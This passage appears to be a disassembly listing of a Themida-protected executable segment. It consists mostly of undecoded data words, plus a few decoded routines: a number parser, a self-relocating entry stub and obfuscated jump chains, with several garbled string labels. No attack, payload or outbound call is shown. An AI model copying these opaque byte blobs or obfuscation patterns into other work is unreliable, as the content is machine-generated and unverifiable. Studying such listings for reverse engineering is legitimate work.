		dd 0FCF60BB8h, 3EE39C43h, 0CD850953h, 5A06140Fh, 15BD9D89h
		dd 80580614h, 8C66A6D7h, 51006AD9h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1904h, 0C3514100h, 0C7AD5AAEh, 958B9C5Ah
		dd 614253Dh, 0F04C1F6h,	9184h, 0DEB70F00h, 0C91385BBh
		dd 84E942h, 6A0000h, 3E852h, 5A200000h,	54895AC3h, 44810424h
		dd 150424h, 52420000h, 807F86C3h, 0B58B76DEh, 6142421h
		dd 6E9h, 0B2C68400h, 81F6E873h,	1180C6h, 57006A00h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1504h, 0C3574700h
		dd 7BB258CCh, 6C7h, 6A0000h, 3E853h, 5B200000h,	5C895BC3h
		dd 44810424h, 1A0424h, 53430000h, 8465ADC3h, 265FA83Ah
		dd 22F99503h, 0B35E0614h, 0F883C1h, 0B05840Fh, 6A0000h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h
		dd 0BD41DC3h, 1410B99Dh, 1F88306h, 186850Fh, 0BA660000h
		dd 0B8582Ah, 53000000h,	0F5B589h, 0B5A0614h, 0F5840FC0h
		dd 0F000000h, 680h, 399D2B00h, 8306142Ch, 840F01F8h, 0F3h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 75C35545h
		dd 0D68BC87Bh, 0D8E28166h, 3F88379h, 40840Fh, 958B0000h
		dd 61431EDh, 0B8h, 8DAAB200h, 5B89E0BDh, 6820F00h, 1000000h
		dd 14230D9Dh, 6AE7FF06h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 14042444h, 47000000h, 80FBC357h, 1B8B4DEh
		dd 89000000h, 14109D95h, 0E0BD8D06h, 6A005B89h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h
		dd 0F57CC353h, 0E7FF3344h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Dh, 63C35747h, 0DF8DB139h, 1FC23803h, 9E938h
		dd 17CE0000h, 9CB5BC89h, 8B1D01EDh, 14086995h, 18E0F06h
		dd 0FC000000h, 439FBD8Dh, 8C0F0614h, 0
		dd 291E9h, 0C7F38A00h, 144D6E85h, 506h,	57006A00h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1404h, 0C3574700h
		dd 0D8BF0FB7h, 19D5BD89h, 5B80614h, 6A000000h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h
		dd 9BF0C355h, 899E9636h, 1430ADB5h, 8EAE906h, 950B0000h
		dd 6142BA1h, 0F02F883h,	0C885h,	7E800h,	0F5570000h, 939EF62Dh
		dd 5BD58A61h, 0B8h, 0BD8B6000h,	6142539h, 0FC00B61h, 6A84h
		dd 8D858900h, 83061419h, 840F01F8h, 0FFFFFF5Fh,	2635B529h
		dd 0F8830614h, 0CB840F03h, 89FFFFFEh, 14199D8Dh, 0B806h
		dd 9D8B0000h, 6142C99h,	89E0BD8Dh, 6A005Bh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1B0424h, 57470000h, 6EB782C3h
		dd 0B742AE4Dh, 0CB8166AEh, 950B03A3h, 61421B9h,	6EBBE7FFh
		dd 8D307392h, 144597BDh, 51006A06h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1604h, 0C3514100h, 33173DBEh, 140C8D95h
		dd 4D958906h, 0E9061405h, 15Eh,	0FE1F3FBBh, 3F88363h, 4D850Fh
		dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h
		dd 56460000h, 3FEA11C3h, 7118D484h, 7E9h, 0CDDD6600h, 0BE9616CCh
		dd 8DDBBF0Fh, 14472BBDh, 6E906h, 86320000h, 0D7C0A1B8h
		dd 109E9h, 25952300h, 83061416h, 850F05F8h, 2Ah, 16799D03h
		dd 0A9E90614h, 6A000007h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 14042444h, 43000000h, 6651C353h, 0F883DE8Bh
		dd 3D850F06h, 8B000000h, 23BD8DDFh, 6A061449h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h
		dd 0DA54C350h, 663F315Ah, 89AC98BAh, 142B3DBDh,	90E906h
		dd 8D310000h, 61413CDh,	0F07F883h, 3885h, 56006A00h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1404h, 0C3564600h
		dd 1D29BA3Ch, 0BD8D67DEh, 6141DB5h, 0E799D8Bh, 0BDE90614h
		dd 89000000h, 14319DBDh, 0AF88306h, 40850Fh, 0B5010000h
		dd 6142C91h, 4B1BBD8Dh,	6A0614h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 160424h, 57470000h, 0C3B137C3h, 6E9h, 78F000h
		dd 0E980864Ah, 6, 1CD6F281h, 6A5719A6h,	3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 0F62C357h
		dd 85B9DAB7h, 660FF6FDh, 3F83D18Bh, 36840F00h, 3000000h
		dd 140F799Dh, 0F0F3006h, 0C8Eh,	6880F00h, 89000000h, 142FB98Dh
		dd 0BAC9D106h, 403078CEh, 0D0B70F47h, 0BB59529h, 0C7E90614h
		dd 1FFFFFFh, 142B319Dh,	95295F06h, 61419C9h, 4D17BD89h
		dd 9D890614h, 61416F5h,	8D8DD88Bh, 6140795h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0ACC35646h, 0C0BB6647h
		dd 0F9B5FFB6h, 6A06142Eh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1B042444h, 40000000h, 17C0C350h, 6EC387DBh
		dd 0BA561801h, 29A4C648h, 0BE85Bh, 80F90000h, 19983A54h
		dd 0D1C242FBh, 95BB6635h, 858D5B5Fh, 616A99Ah, 0FBBD8D50h
		dd 8D061453h, 146E318Dh, 1ABCB806h, 0CF2B5483h,	0C8D00730h
		dd 0F8754947h, 6D96B58Dh, 8D8D0614h, 6146E49h, 0A4F3CF2Bh
		dd 0B8C933h, 0B000000h,	834674C0h, 141A71BDh, 6740006h
		dd 1DA995FFh, 0B58B0614h, 6144D17h, 0A99A858Dh,	0D0FF0616h
		dd 432B858Dh, 0D0FF0614h, 349585C7h, 10614h, 0A58B0000h
		dd 6143505h, 2679B58Bh,	0AD8B0614h, 6142E29h, 0CC2C033h
		dd 0DBD8900h, 8A061421h, 71DB81DDh, 8352B5F9h, 142B95BDh
		dd 840F0006h, 58h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Bh, 16C35343h, 0B97AE6ABh, 66753A6Bh, 4B3BD281h
		dd 91195FFh, 6A0614h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1B0424h, 53430000h, 127284C3h, 6E5B0F85h, 958BFCA9h
		dd 6140B81h, 3D9BD83h, 0F000614h, 1A285h, 53006A00h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1B04h, 0C3534300h
		dd 994B62A9h, 0FEE49C76h, 83D8B70Fh, 1412CDBDh,	850F0106h
		dd 16Fh, 0BD83DA8Bh, 6143181h, 60840F00h, 6A000001h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h
		dd 7913C350h, 81A8871Ah, 57B803EBh, 6ABD837Fh, 6144Dh
		dd 12D840Fh, 0DE90000h,	6000000h, 8C92FA30h, 0DDA338CAh
		dd 0FA7EB0E8h, 0A99A858Dh, 6A0616h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1D0424h, 51410000h, 68BBA6C3h
		dd 0BE820E1Fh, 0F398DB3h, 82h, 17B58B00h, 8B06144Dh, 141C7195h
		dd 60D0FF06h, 22F58D8Bh, 0B52B0614h, 6141A55h, 5985C661h
		dd 5406141Ah, 0E09EBB50h, 685A752Ch, 0BB17B878h, 6E9h
		dd 0BE04A300h, 8172845Dh, 68C2434h, 6A4459h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1C0424h, 56460000h, 39BAF9C3h
		dd 0FA4DE27Ah, 0B70F9A8Dh, 45B5FFD8h, 6A061411h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 14042444h, 42000000h
		dd 8D0EC352h, 143B1385h, 25BA6606h, 89D0FF8Dh, 140D69BDh
		dd 80006A06h, 0B70FB5F2h, 9FF6AD3h, 141C999Dh, 8BD0FF06h
		dd 1404319Dh, 19B5FF06h, 89061432h, 1416DD85h, 0F995FF06h
		dd 6A06142Eh, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 16042444h, 46000000h, 67CDC356h, 3D9D2B01h, 8B061419h
		dd 144D17B5h, 9605606h,	140C6585h, 0BE906h, 48020000h
		dd 6881010h, 5F38D6A0h,	0C35A6136h, 0D8F0Fh, 23600000h
		dd 142E2185h, 0E0816606h, 8B613207h, 142D01B5h,	6830F06h
		dd 89000000h, 140C898Dh, 0FF60B06h, 4A84h, 11850F00h, 60000000h
		dd 8E96160h, 0AD000000h, 4D044876h, 6159225Ch, 6A0006C6h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 18042444h
		dd 46000000h, 0F171C356h, 66B5DD5Eh, 5E9DE8Bh, 50000000h
		dd 596D0723h, 8951DA80h, 144D1F85h, 8A0F06h, 83000000h
		dd 840F00F8h, 2EFh, 0E851006Ah,	3, 59C35920h, 4244C89h
		dd 4244481h, 1Ch, 7FC35141h, 0FC3526C3h, 0C73F2308h, 60DDD680h
		dd 0B9DB533h, 0B8610614h, 0
		dd 5C5BF281h, 952B512Eh, 6142B0Dh, 0F00F883h, 0A384h, 0DD9D8B00h
		dd 8306142Ah, 850F02F8h, 64h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 17h, 36C35242h, 6672DE6Eh, 0B331EB81h
		dd 32099503h, 858D0614h, 614439Ah, 292D95B3h, 8B000009h
		dd 14061995h, 0D88B9006h, 8E950h, 0F1630000h, 456AE418h
		dd 89903E8Eh, 14141D9Dh, 8960C306h, 1416718Dh, 1D858906h
		dd 6106142Fh, 0B8h, 0E9DE8B00h,	227h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 17h, 2DC35040h, 0B6308C60h, 0D68B6679h
		dd 1B8h, 13E800h, 0EF510000h, 0E5D48F01h, 28FE1076h, 37F18811h
		dd 3C8C0C46h, 5BB5B37Fh, 1876BB66h, 439FBD8Dh, 840F0614h
		dd 19h,	11E8h, 7FD12C00h, 5FD93DAh, 0FE51BFFFh,	0C0E6E17Fh
		dd 0FE8AA4A2h, 0C9E95Bh, 0B70F0000h, 2F883D8h, 2C850Fh
		dd 0B5890000h, 6142E0Dh, 4597BD8Dh, 0BF0F0614h,	0A9E9D3h
		dd 13E90000h, 0E6000000h, 265A7117h, 0E979907Eh, 2EE4CC7Bh
		dd 0C681F244h, 0F8839AD5h, 38850F03h, 0F000000h, 0DF8BD9B7h
		dd 472BBD8Dh, 6A0614h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1A0424h, 56460000h, 728794C3h, 10931FA3h, 56E9h, 0D5853100h
		dd 83061402h, 850F05F8h, 47h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Dh, 8DC35646h, 0F45C7F43h, 0C406E464h
		dd 79950BC4h, 8B061410h, 14092D9Dh, 8EE906h, 9E80000h
		dd 0B9000000h, 28F4F0CDh, 1DF3A737h, 575AD38Bh,	0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 0E8C35141h, 2A75BDF2h
		dd 6E3A9AB5h, 0ECA805Ah, 0F6FD85B9h, 87C6800Fh,	0F003F83h
		dd 4384h, 59958B00h, 3006142Ah,	12E80Fh, 7E550000h, 0D7550CC5h
		dd 0CEBFF64Ch, 4DBB4128h, 9122A4B9h, 0C9D15AF5h, 0D58D8B60h
		dd 89061405h, 14005595h, 89476106h, 140D758Dh, 0FFBAE906h
		dd 8589FFFFh, 61429A9h,	0F05F883h, 6685h, 0B0EE8000h, 0B3D98C66h
		dd 4C1F6E3h, 45850Fh, 9D890000h, 6142561h, 0B8h, 59F28100h
		dd 0E95EB8E6h, 3Fh, 0E857006Ah,	3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Ah, 58C35747h, 0EFB658Ah,	8E93166h, 0D7000000h
		dd 0B87DF66Ah, 8BD07D9Eh, 14057185h, 0FFD5B606h, 859D29E0h
		dd 83061421h, 142EF9BDh, 850F0006h, 0C7h, 0E850006Ah, 3
		dd 58C35820h, 4244489h,	4244481h, 17h, 51C35040h, 909DB42Ch
		dd 93D414BAh, 5651501Eh, 80A555BAh, 905B5B42h, 0BE9h, 691FB900h
		dd 0FE9656C7h, 8A27AF56h, 1A5985C6h, 66450614h,	686331BBh
		dd 8BCE830Ch, 2820F50h,	57000000h, 4815B5Ah, 0A3E65D24h
		dd 0FFA6B202h, 141145B5h, 50E28106h, 8D6E762Dh,	143B1385h
		dd 0D0FFF906h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 14h,	0D0C35747h, 2EF98589h, 8B600614h, 14211585h, 6A586106h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 16042444h
		dd 42000000h, 2B74C352h, 0A99D318Eh, 83061414h,	144D6EBDh
		dd 840F0006h, 3Eh, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 16h, 7AC35141h, 0FCF9BA39h, 3219B5FFh, 0B5890614h
		dd 6140105h, 14A1BD09h,	95FF0614h, 6142EF9h, 0D699589h
		dd 0F8830614h, 1850F00h, 6A000001h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1B042444h, 46000000h, 4641C356h
		dd 0A437AFE6h, 0DE97C10h, 83000000h, 9D807870h,	0C4C9E7DEh
		dd 3B8C8C1h, 226D9D89h,	0BD830614h, 6141A99h, 53840F00h
		dd 0B3000000h, 99B5FFC4h, 0F806141Ah, 1B8h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1704h, 0C3514100h
		dd 2FAE5055h, 0CE8h, 17DC1E00h,	2732A817h, 0DFF1A057h
		dd 0D19D8BC7h, 5A061416h, 1111B589h, 0A2E90614h, 0F000001h
		dd 0B5FFDBB7h, 6143219h, 19810Fh, 14E90000h, 0FC000000h
		dd 29C9C20Ah, 619D3521h, 0AF052D4Ah, 6FF67C1Ch,	0FF294E6Fh
		dd 143219B5h, 0E98D0106h, 0FF061401h, 142EF9B5h, 51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1A04h, 0C3514100h
		dd 0BDDA4904h, 8A79EE2Dh, 13FE9D4h, 9D330000h, 61420F1h
		dd 0D38B665Fh, 2C1BD83h, 0F000614h, 8C85h, 21958B00h, 0C606141Ah
		dd 141A5985h, 60574D06h, 3C6EBB66h, 5B61C28Bh, 21A96068h
		dd 81F48A93h, 0CD482404h, 0BD291113h, 6140665h,	931B5FFh
		dd 0FE90614h, 6C000000h, 9B350F7Fh, 0B004CD05h,	60EA781Ah
		dd 858DA2E3h, 6143B13h,	0D0FF86B6h, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 14h, 0F1C35040h,	2ACD9D8Bh, 7E90614h
		dd 51000000h, 0C40E09DBh, 85898A0Ch, 61402C1h, 22F99589h
		dd 0F7800614h, 0B85Bh, 0ACBB0000h, 892BFF74h, 144D17BDh
		dd 55958B06h, 0B7061400h, 0FC00B9Bh, 3084h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1504h, 0C3574700h
		dd 5AE977B7h, 60000000h, 0F58D89h, 0B58B0614h, 614022Dh
		dd 0F9B5FF61h, 6A06142Eh, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 16042444h, 41000000h, 57DCC351h, 58C0F3Fh
		dd 0BA000000h, 41412E2Ah, 0FD950Bh, 858D0614h, 616A99Ah
		dd 9077D680h, 50D78B66h, 0E420BA66h, 39BA6690h,	8D565077h
		dd 1453FBBDh, 0CF8D8D06h, 0B8061477h, 748323BCh, 730CF2Bh
		dd 4947C8D0h, 585EF875h, 1A99BD83h, 74000614h, 0C18D8B06h
		dd 33061423h, 0B8C9h, 0C00B0000h, 0A8840Fh, 0BD830000h
		dd 6141A71h, 0FF067400h, 141DA995h, 0B806h, 0C00B0000h
		dd 0BD830975h, 6144D1Fh, 83097401h, 144D1FBDh, 0E750206h
		dd 4D17B58Bh, 858D0614h, 616A99Ah, 0BD83D0FFh, 6142B95h
		dd 0FF067400h, 14091195h, 2B858D06h, 0FF061443h, 51BD83D0h
		dd 206141Dh, 0A58B2F75h, 6143505h, 1A99858Bh, 4890614h
		dd 9585C724h, 1061434h,	8B000000h, 144D1BB5h, 29AD8B06h
		dd 0B806142Eh, 1, 0EB000CC2h, 9585C700h, 1061434h, 8B000000h
		dd 143505A5h, 79B58B06h, 8B061426h, 142E29ADh, 0C2C03306h
		dd 0BD83000Ch, 6142B95h, 830F7400h, 140911BDh, 6740006h
		dd 91195FFh, 0B58B0614h, 6144D17h, 6CE281C3h, 8B2F2DDFh
		dd 89D22BD6h, 1401BD9Dh
		db 6
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	edi
		push	edx
		push	esi
		mov	edi, [ebp+8]
		xor	eax, eax
		jmp	short loc_5504BD
; ---------------------------------------------------------------------------


loc_5504BB:				; CODE XREF: Themida_:005504C0j
		inc	eax
		inc	edi


loc_5504BD:				; CODE XREF: Themida_:005504B9j
		cmp	byte ptr [edi],	0
		jnz	short loc_5504BB
		xor	ecx, ecx
		mov	edi, [ebp+8]
		jmp	short loc_5504EC
; ---------------------------------------------------------------------------


loc_5504C9:				; CODE XREF: Themida_:005504EEj
		xor	edx, edx
		mov	dl, [edi]
		sub	dl, 30h
		mov	esi, eax
		dec	esi
		push	eax
		mov	eax, edx
		push	ebx
		mov	ebx, 0Ah
		jmp	short loc_5504E1
; ---------------------------------------------------------------------------


loc_5504DE:				; CODE XREF: Themida_:005504E4j
		mul	ebx
		dec	esi


loc_5504E1:				; CODE XREF: Themida_:005504DCj
		cmp	esi, 0
		ja	short loc_5504DE
		pop	ebx
		add	ecx, eax
		pop	eax
		inc	edi
		dec	eax


loc_5504EC:				; CODE XREF: Themida_:005504C7j
		or	eax, eax
		jnz	short loc_5504C9
		mov	eax, ecx
		pop	esi
		pop	edx
		pop	edi
		pop	ecx
		leave
		retn	4
; ---------------------------------------------------------------------------
		dw 6Ah
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h
		dd 885854C3h, 0F39ED65Eh, 0B589974Ah, 6142B55h,	0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 0E0C35545h, 256C08BFh
		dd 378F7A84h, 0DE904h, 0B0060000h, 0D980D4ACh, 8E0C88E6h
		dd 812D39E7h, 0B066FFDBh, 0E9C18B7Fh, 1ADh, 24748B60h
		dd 247C8B24h, 80B2FC28h, 8846068Ah, 2BB4707h, 2000000h
		dd 5850FD2h, 8A000000h,	0D2124616h, 0FFE2830Fh,	0D202FFFFh
		dd 5850Fh, 168A0000h, 0FD21246h, 6A83h,	2C03300h, 5850FD2h
		dd 8A000000h, 0D2124616h, 12A830Fh, 0D2020000h,	5850Fh
		dd 168A0000h, 13D21246h, 0FD202C0h, 585h, 46168A00h, 0C013D212h
		dd 850FD202h, 5, 1246168Ah, 2C013D2h, 5850FD2h,	8A000000h
		dd 0D2124616h, 840FC013h, 6, 8AF82B57h,	7885F07h, 2BB47h
		dd 70E90000h, 0B8FFFFFFh, 1, 850FD202h,	5, 1246168Ah, 2C013D2h
		dd 5850FD2h, 8A000000h,	0D2124616h, 0FFDE820Fh,	0C32BFFFFh
		dd 1BBh, 34850F00h, 0B9000000h,	1, 850FD202h, 5, 1246168Ah
		dd 2C913D2h, 5850FD2h, 8A000000h, 0D2124616h, 0FFDE820Fh
		dd 8B56FFFFh, 0F3F52BF7h, 8E95EA4h, 48FFFFFFh, 8A08E0C1h
		dd 0E88B4606h, 1B9h, 0FD20200h,	585h, 46168A00h, 0C913D212h
		dd 850FD202h, 5, 1246168Ah, 0DE820FD2h,	3DFFFFFFh, 7D00h
		dd 22830Fh, 3D0000h, 0F000005h,	0E82h, 8B564100h, 0F3F02BF7h
		dd 0B4E95EA4h, 83FFFFFEh, 870F7FF8h, 3,	5602C183h, 0F02BF78Bh
		dd 0E95EA4F3h, 0FFFFFE9Bh, 3346068Ah, 1E8C0C9h,	17840Fh
		dd 0D1830000h, 56E88B02h, 0F02BF78Bh, 0BB5EA4F3h, 1, 0FFFE76E9h
		dd 247C2BFFh, 247C8928h, 8C2611Ch, 929BA00h, 35E90000h
		dd 3F000224h, 6F025B00h, 28005C6Fh, 6F025B00h, 0BE005C6Fh
		dd 5C54h, 6C000000h, 20012FFh, 2000002h, 1000000h, 3000000h
		dd 0DF000000h, 0FA408Bh, 4 dup(0)
		dd 10000000h, 4C005531h, 17005595h, 5500551Fh, 4000552Eh
		dd 1B005588h, 0B5005598h, 0E4005594h, 15005527h, 3100554Ah
		dd 3A005556h, 0C200559Ah, 4D0055AFh, 0D0005527h, 2F0055CDh
		dd 88005528h, 3A005512h, 10055A5h, 1A005511h, 5700556Bh
		dd 700556Bh, 520055C3h,	2300557Dh, 0D1005585h, 0E005582h
		dd 2F00557Dh, 0FE005581h, 0CA005567h, 0EF0055C8h, 0D8005524h
		dd 0A20055CEh, 5300550Eh, 0E4005573h, 130055C9h, 38005585h
		dd 3005583h, 560055B6h,	9500551Eh, 4900558Dh, 2D0055AFh
		dd 9A00559Ah, 0FE0055ACh, 1200558Dh, 0EC0055A2h, 1400552Fh
		dd 0BB005542h, 0DC005538h, 1A0055A1h, 96005583h, 0C1005522h
		dd 600055BFh, 540055CBh, 98005513h, 2000555Ah, 0E8005559h
		dd 0F2005510h, 0EC005597h, 88005597h, 0B000553Bh, 6200558Dh
		dd 800055A0h, 26005577h, 0FB005572h, 0A60055B4h, 3E005589h
		dd 1B005581h, 4F005527h, 5F00558Fh, 0EE00550Dh,	7200559Fh
		dd 8900552Ah, 0AF0055B5h, 1D00550Bh, 5B005547h,	99005597h
		dd 0EC005511h, 0A7005582h, 15005552h, 9F005563h, 8005551h
		dd 4D0055B9h, 490055CEh, 4C00551Ah, 28005585h, 0CB00558Eh
		dd 0F5005547h, 0D1005525h, 0BD00553Bh, 0C00055AEh, 1F005558h
		dd 49005545h, 7C005578h, 0E60055C7h, 22005532h,	0D100552Ah
		dd 0D30055CAh, 5B005567h, 0D005529h, 820055B5h,	9000557Dh
		dd 160055AFh, 860055C3h, 0ED005590h, 0B005583h,	88005532h
		dd 0AE00557Bh, 1F00550Eh, 1E0055CFh, 4300554Eh,	8B00559Bh
		dd 900553Ah, 3500556Dh,	37005510h, 6700556Bh, 600556Ch
		dd 0C5005554h, 0CD005559h, 900055A7h, 0FE005512h, 0F70055A2h
		dd 24005530h, 99005580h, 420055CEh, 9500553Dh, 9005574h
		dd 200055A4h, 380055AFh, 44005592h, 4B005510h, 0E20055CBh
		dd 0E4005554h, 9C005534h, 0AB00550Ah, 4B00557Ch, 94005515h
		dd 22005535h, 0FA005535h, 8F005553h, 9B005568h,	0E1005548h
		dd 92005559h, 0D7005595h, 380055BEh, 2900556Ah,	1E005576h
		dd 98005540h, 0DB00557Bh, 0B900557Dh, 180055AFh, 53005571h
		dd 0B2005584h, 0E0055C0h, 8A0055CEh, 82005562h,	7B005555h
		dd 7B005579h, 38005517h, 76005598h, 340055C9h, 54005595h
		dd 0AD0055CBh, 0F5005597h, 60005587h, 6700557Fh, 0D400558Eh
		dd 64005540h, 40005586h
		db 90h,	55h, 0
; ---------------------------------------------------------------------------


loc_5509FF:				; CODE XREF: Themida_:005A2A9Bj
					; Themida_:005AECC4j ...
		pusha
		pushf
		cld
		call	$+5
		pop	edi
		sub	edi, 6147E28h
		mov	eax, edi
		add	edi, 6147B40h
		cmp	eax, [edi+2Ch]
		jnz	short loc_550A1D
		jmp	short loc_550A30
; ---------------------------------------------------------------------------


loc_550A1D:				; CODE XREF: Themida_:00550A19j
		mov	[edi+2Ch], eax
		mov	ecx, 0A7h
		jmp	short loc_550A2C
; ---------------------------------------------------------------------------


loc_550A27:				; CODE XREF: Themida_:00550A2Ej
		add	[edi+ecx*4+40h], eax
		dec	ecx


loc_550A2C:				; CODE XREF: Themida_:00550A25j
		or	ecx, ecx
		jnz	short loc_550A27


loc_550A30:				; CODE XREF: Themida_:00550A1Bj
		mov	esi, [esp+24h]
		mov	ebx, esi
		add	esi, eax
		mov	ecx, 1


loc_550A3D:				; CODE XREF: Themida_:00550A44j
		xor	eax, eax
		lock cmpxchg [edi+30h],	ecx
		jnz	short loc_550A3D


loc_550A46:				; CODE XREF: Themida_:00550B0Ej
					; Themida_:0055256Bj ...
		lodsb
		push	bx
		mov	bh, 60h
		sub	al, bh
		jmp	loc_559D10
; ---------------------------------------------------------------------------


loc_550A52:				; CODE XREF: Themida_:0055B2D2j
		pop	eax
		jmp	loc_556457
; ---------------------------------------------------------------------------
		dd 80A5E680h, 1F68A9F6h, 89000028h, 6866240Ch, 89665E17h
		dd 0C6B22414h, 2D2DE9h,	5AD58800h, 60E9CDFEh, 87000079h
		dd 895C242Ch, 0A1E92434h, 5700001Ch, 2BFh, 0DFED8100h
		dd 0E9694A58h, 5F6Fh, 0A3E932FFh, 0FEFFFFFFh, 5BDE88CBh
		dd 0B134E9h
		db 0
; ---------------------------------------------------------------------------


loc_550AAD:				; CODE XREF: Themida_:00555205j
		inc	ebx
		not	ebx
		xor	ebx, 0FFEDCB1Ch
		sub	ecx, 2FDE1DAEh
		add	ecx, ebx
		add	ecx, 2FDE1DAEh
		pop	ebx
		and	eax, ecx
		pop	ecx
		or	eax, eax
		jz	loc_5560D1
		push	dword ptr [edi+1Ch]
		push	dword ptr [esp]
		mov	ecx, [esp]
		push	esi
		jmp	loc_55B3BE
; ---------------------------------------------------------------------------
aFSS		db 'f[ИлS',0
		align 2
		dw 15Ch
		dd 18E959C8h
		db 67h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_550AEF:				; CODE XREF: Themida_:0055AA9Bj
		add	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		push	ecx
		jmp	loc_55514A
; ---------------------------------------------------------------------------


loc_550B06:				; CODE XREF: Themida_:00558394j
		pop	edx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		jmp	loc_550A46
; ---------------------------------------------------------------------------
		db 0B1h
		dd 53E980C9h, 0E9C0E9D0h, 35E98006h, 57E9CC88h
		db 0B0h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_550B27:				; CODE XREF: Themida_:005588FEj
		add	ebx, 2E1568BEh
		inc	ebx
		push	edi
		jmp	loc_5574ED
; ---------------------------------------------------------------------------
aTsaz		db 'TИ²╖',0
		align 2
aRT		db 'R╨t',0
		dw 5F5Bh
		dd 0E907EAC1h, 9DF4h, 0BE565854h, 71527B80h, 6A6EC681h
		dd 0B95152D5h, 4F6A3F75h, 2351EE81h, 0CE290E32h, 4167E9h
		db 0
; ---------------------------------------------------------------------------


loc_550B69:				; CODE XREF: Themida_:00554D5Dj
		sub	edx, 0DC05DFB8h
		xor	eax, edx
		jmp	loc_55C2D6
; ---------------------------------------------------------------------------
		dw 0BF57h
		dd 0FFBFFF9Fh, 5EE9F901h
		db 3Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_550B83:				; CODE XREF: Themida_:00551F47j
		pop	ecx
		add	esp, 4
		push	eax
		jmp	loc_5594A7
; ---------------------------------------------------------------------------


loc_550B90:				; CODE XREF: Themida_:00555F41j
		add	dword ptr [esp], 4
		pop	eax
		push	esi
		mov	esi, 4
		add	eax, esi
		pop	esi
		add	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		jmp	loc_55C3B3
; ---------------------------------------------------------------------------
aMsS		db '╛Иъ≥',0
		dd 42E95C00h
		db 55h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_550BBB:				; CODE XREF: Themida_:00553264j
		pop	edx
		and	ecx, ebx
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		push	edi
		mov	edi, esp
		jmp	loc_5579F0
; ---------------------------------------------------------------------------
aZSe		db '┤,$\с$$ИEЁ',0
		align 2
		dw 0C681h
		dd 7D375955h, 3305CE81h, 0EE815E70h, 8A465857h,	0AE46E9h
		dd 24148900h, 0C1C9E9h,	95BB5300h, 811F380Ah, 2414BDF3h
		dd 6EBC17Fh, 0CB81DBF7h, 48887296h, 5665E94Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_550C1A:				; CODE XREF: Themida_:00554BD3j
		shl	ebp, 4
		dec	ebp
		push	30C5h
		mov	[esp], eax
		jmp	loc_55A119
; ---------------------------------------------------------------------------
aYfpJUfxsat	db ' кYfP╢├(ЦfXИМt',0
		dw 9100h
		dd 0F7FFC183h, 3E1C1D1h, 45EAE9h, 0E9586600h, 22A2h, 88241C89h
		dd 8BFA88C7h, 1FE9241Ch, 5000096h, 27931919h, 0BA52F001h
		dd 4D065FF9h, 28C2814Ah, 4A081104h, 4252C281h, 814A0EE9h
		dd 6D8D57EAh, 5AD0293Ch, 0FF2434FFh, 815E2434h,	4C4h, 5F545700h
		dd 2025E9h
		db 0
; ---------------------------------------------------------------------------


loc_550C99:				; CODE XREF: Themida_:00552ED9j
		xor	ebx, 43465CF4h
		add	edi, ebx
		pop	ebx
		push	eax
		mov	eax, 739F340Dh
		jmp	loc_55BC3E
